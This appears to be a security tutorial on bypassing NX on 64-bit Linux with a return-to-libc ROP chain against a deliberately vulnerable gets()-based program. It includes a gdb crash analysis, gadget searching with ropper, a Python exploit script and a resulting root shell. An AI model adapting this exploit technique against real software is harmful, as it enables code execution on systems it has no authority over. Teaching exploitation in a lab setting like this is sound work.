64-Bit Return-to-libc Attacks

In this article, we’re going to be looking at a simple way of bypassing NX on a 64-bit Kali Linux system. NX (aka DEP) prevents code from executing from stack or heap memory.

The primary difference between doing this on a 64-bit system, as opposed to a 32-bit system is called functions will require their parameters to be populated in registers, instead of being placed on the stack.

The below sample code will be exploited;

#include <string.h>
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv){
    char buf [40];
    gets(buf);
    printf(buf);
}

Compile with:

gcc -no-pie -fno-stack-protector nx_bypass.c -o nx_bypass

Disable ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

Analysing the Crash

Let’s start by determining which offsets overwrites interesting registers:

root@kali:~/ROP# gdb -q ./nx_bypass
Reading symbols from ./nx_bypass...
(No debugging symbols found in ./nx_bypass)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattern create 500 pattern.txt
Writing pattern of 500 chars to filename "pattern.txt"
gdb-peda$ run < pattern.txt
Starting program: /root/ROP/nx_bypass < pattern.txt

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x0 
RDI: 0x1ff 
RBP: 0x4147414131414162 ('bAA1AAGA')
RSP: 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
RIP: 0x401169 (<main+55>:	ret)
R8 : 0x1fff 
R9 : 0xffffffff 
R10: 0x7fffffffd028 --> 0x7fffffffd01c --> 0x1000f7fa9a00 
R11: 0x6 
R12: 0x401050 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1d0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40115e <main+44>:	call   0x401030 <printf@plt>
   0x401163 <main+49>:	mov    eax,0x0
   0x401168 <main+54>:	leave  
=> 0x401169 <main+55>:	ret    
   0x40116a:	nop    WORD PTR [rax+rax*1+0x0]
   0x401170 <__libc_csu_init>:	push   r15
   0x401172 <__libc_csu_init+2>:	lea    r15,[rip+0x2c97]        # 0x403e10
   0x401179 <__libc_csu_init+9>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
0008| 0x7fffffffe100 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%"...)
0016| 0x7fffffffe108 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0024| 0x7fffffffe110 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0032| 0x7fffffffe118 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0040| 0x7fffffffe120 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0048| 0x7fffffffe128 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0056| 0x7fffffffe130 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401169 in main ()
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 48
R9+52 found at offset: 69
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~203
[R13] --> offset 272 - size ~203

We can see the RBP (stack base pointer) register is overwritten after 48 bytes. On 64-bit systems, the instruction pointer (RIP) will only be overwritten if the address it points to is valid. As such, our random pattern will not overwrite it. However, we know RIP will be 8 bytes from RBP, so the correct offset is 56.


Locating Useful Gadgets

We’re going to go attempt to execute the system function from libc. Let’s find the addresses of the “system” function, in addition to a string reference to “/bin/sh”

gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e36ff0 <__libc_system>
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f73cee --> 0x68732f6e69622f ('/bin/sh')

Finally, as previously discussed we need need to ensure the function (in this case “system”) is loaded into the RDI register. Using the “ropper” application, we can find a suitable instruction in the binary:

ropper --file ./nx_bypass --search "pop rdi; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: ./nx_bypass
0x00000000004011cb: pop rdi; ret; 

The Exploit

With the necessary information collected, we can now write the exploit:

from struct import *
buf = ""
buf += "A"*56                    
buf += pack("<Q", 0x00000000004011cb)    # pop rdi; ret;
buf += pack("<Q", 0x7ffff7f73cee)        # pointer to "/bin/sh"
buf += pack("<Q", 0x7ffff7e36ff0)        # address of system()
f = open("payload.txt", "w")
f.write(buf)

We can now run the payload to achieve command execution:

(cat payload.txt; cat) | ./nx_bypass
id
uid=0(root) gid=0(root) groups=0(root)

The use of “cat” command twice is necessary to prevent the application from exiting before user input is accepted.